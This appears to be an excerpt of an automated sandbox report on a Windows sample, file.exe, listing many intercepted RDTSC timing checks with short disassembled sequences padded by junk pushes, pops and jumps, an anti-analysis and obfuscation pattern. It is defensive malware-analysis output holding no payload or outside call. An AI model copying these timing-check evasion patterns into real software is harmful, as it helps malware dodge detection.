Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753B74 second address: 753B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753FFC second address: 75401D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F60A4E98EF6h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 jmp 00007F60A4E98F01h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7541B5 second address: 7541CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60A4BE8BE0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7541CB second address: 7541CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7541CF second address: 7541EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758F8B second address: 758F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758F91 second address: 758F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F60A4BE8BD6h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759547 second address: 75958A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98EFBh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F60A4E98F00h 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007F60A4E98EF6h 0x0000001a jmp 00007F60A4E98F08h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75958A second address: 75958E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75958E second address: 759594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759594 second address: 75959A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75959A second address: 7595A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F60A4E98EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7595A4 second address: 7595B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F60A4BE8BD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759B63 second address: 759B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759B67 second address: 759B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4BE8BE7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760077 second address: 760081 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F60A4E98EF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F961 second address: 75F971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F60A4BE8BD6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F971 second address: 75F976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F976 second address: 75F982 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F60A4BE8BDEh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767025 second address: 76702C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76702C second address: 767049 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F60A4BE8BDEh 0x00000008 ja 00007F60A4BE8BD6h 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jnc 00007F60A4BE8BD6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766488 second address: 76648C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76648C second address: 766498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766498 second address: 7664AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98F01h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7664AF second address: 7664B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7664B4 second address: 7664B9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7665FC second address: 766610 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766775 second address: 766779 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7668B9 second address: 7668C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F60A4BE8BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C3A6 second address: 76C3C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98F01h 0x00000009 pop edx 0x0000000a jnp 00007F60A4E98EFCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C111 second address: 76C11D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F60A4BE8BD6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C11D second address: 76C121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3111 second address: 6D3115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770937 second address: 77093D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770A61 second address: 770A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F60A4BE8BD6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770A70 second address: 770A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770BDC second address: 770BEC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F60A4BE8BD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770BEC second address: 770BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770BF0 second address: 770BF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7151AA second address: 7151B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F60A4E98EF6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7151B8 second address: 7151CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4BE8BDAh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7710EF second address: 7710F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A3AE second address: 77A3DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F60A4BE8BE6h 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F60A4BE8BDDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778328 second address: 778331 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778331 second address: 778337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778337 second address: 77833D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77833D second address: 77835F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4BE8BE7h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778482 second address: 778488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778488 second address: 77848C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77848C second address: 7784B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98F00h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F60A4E98EFAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7784B2 second address: 7784C2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F60A4BE8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778655 second address: 77867D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F60A4E98EF6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F60A4E98F09h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778F5B second address: 778F61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7797C3 second address: 779801 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F05h 0x00000007 jno 00007F60A4E98F11h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779801 second address: 779807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779807 second address: 779813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779813 second address: 77982D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4BE8BE0h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77982D second address: 779833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D613 second address: 77D617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D617 second address: 77D62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98EFDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DAB5 second address: 77DAE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F60A4BE8BE6h 0x0000000b jc 00007F60A4BE8BD6h 0x00000011 jmp 00007F60A4BE8BE1h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DAE9 second address: 77DB08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F07h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DB08 second address: 77DB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DC4E second address: 77DC72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98F07h 0x00000009 pop esi 0x0000000a jnp 00007F60A4E98EFCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DC72 second address: 77DC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77DC7A second address: 77DC92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E0BA second address: 77E0CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jo 00007F60A4BE8BD6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AF3F second address: 78AF5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F60A4E98EFFh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AF5B second address: 78AF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AF68 second address: 78AF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B3A5 second address: 78B3BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4BE8BDAh 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F60A4BE8BD6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B645 second address: 78B664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F60A4E98F07h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B934 second address: 78B93F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B93F second address: 78B95B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F06h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BC16 second address: 78BC1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BC1A second address: 78BC35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C47F second address: 78C4A6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F60A4BE8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F60A4BE8BE8h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C4A6 second address: 78C4AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C4AC second address: 78C4C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F60A4BE8BDEh 0x0000000b push eax 0x0000000c pop eax 0x0000000d jnp 00007F60A4BE8BD6h 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F60A4BE8BD6h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CBA7 second address: 78CBAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CBAB second address: 78CBB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CBB4 second address: 78CBD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F60A4E98EFCh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CBD5 second address: 78CBE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F60A4BE8BD6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CBE2 second address: 78CBEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7924C9 second address: 7924DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7924DF second address: 7924E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79268C second address: 792691 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79280C second address: 79283E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007F60A4E98EF6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnl 00007F60A4E98F0Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007F60A4E98EF6h 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A783F second address: 7A7845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7845 second address: 7A7887 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F60A4E98EFEh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 push ecx 0x00000017 jmp 00007F60A4E98EFBh 0x0000001c jmp 00007F60A4E98F02h 0x00000021 pop ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE6F5 second address: 7BE701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE840 second address: 7BE845 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE845 second address: 7BE850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE850 second address: 7BE854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEC63 second address: 7BEC67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEF26 second address: 7BEF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007F60A4E98F27h 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F60A4E98EF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1521 second address: 7C1527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4D29 second address: 7C4D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98F01h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2FCF second address: 7E2FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
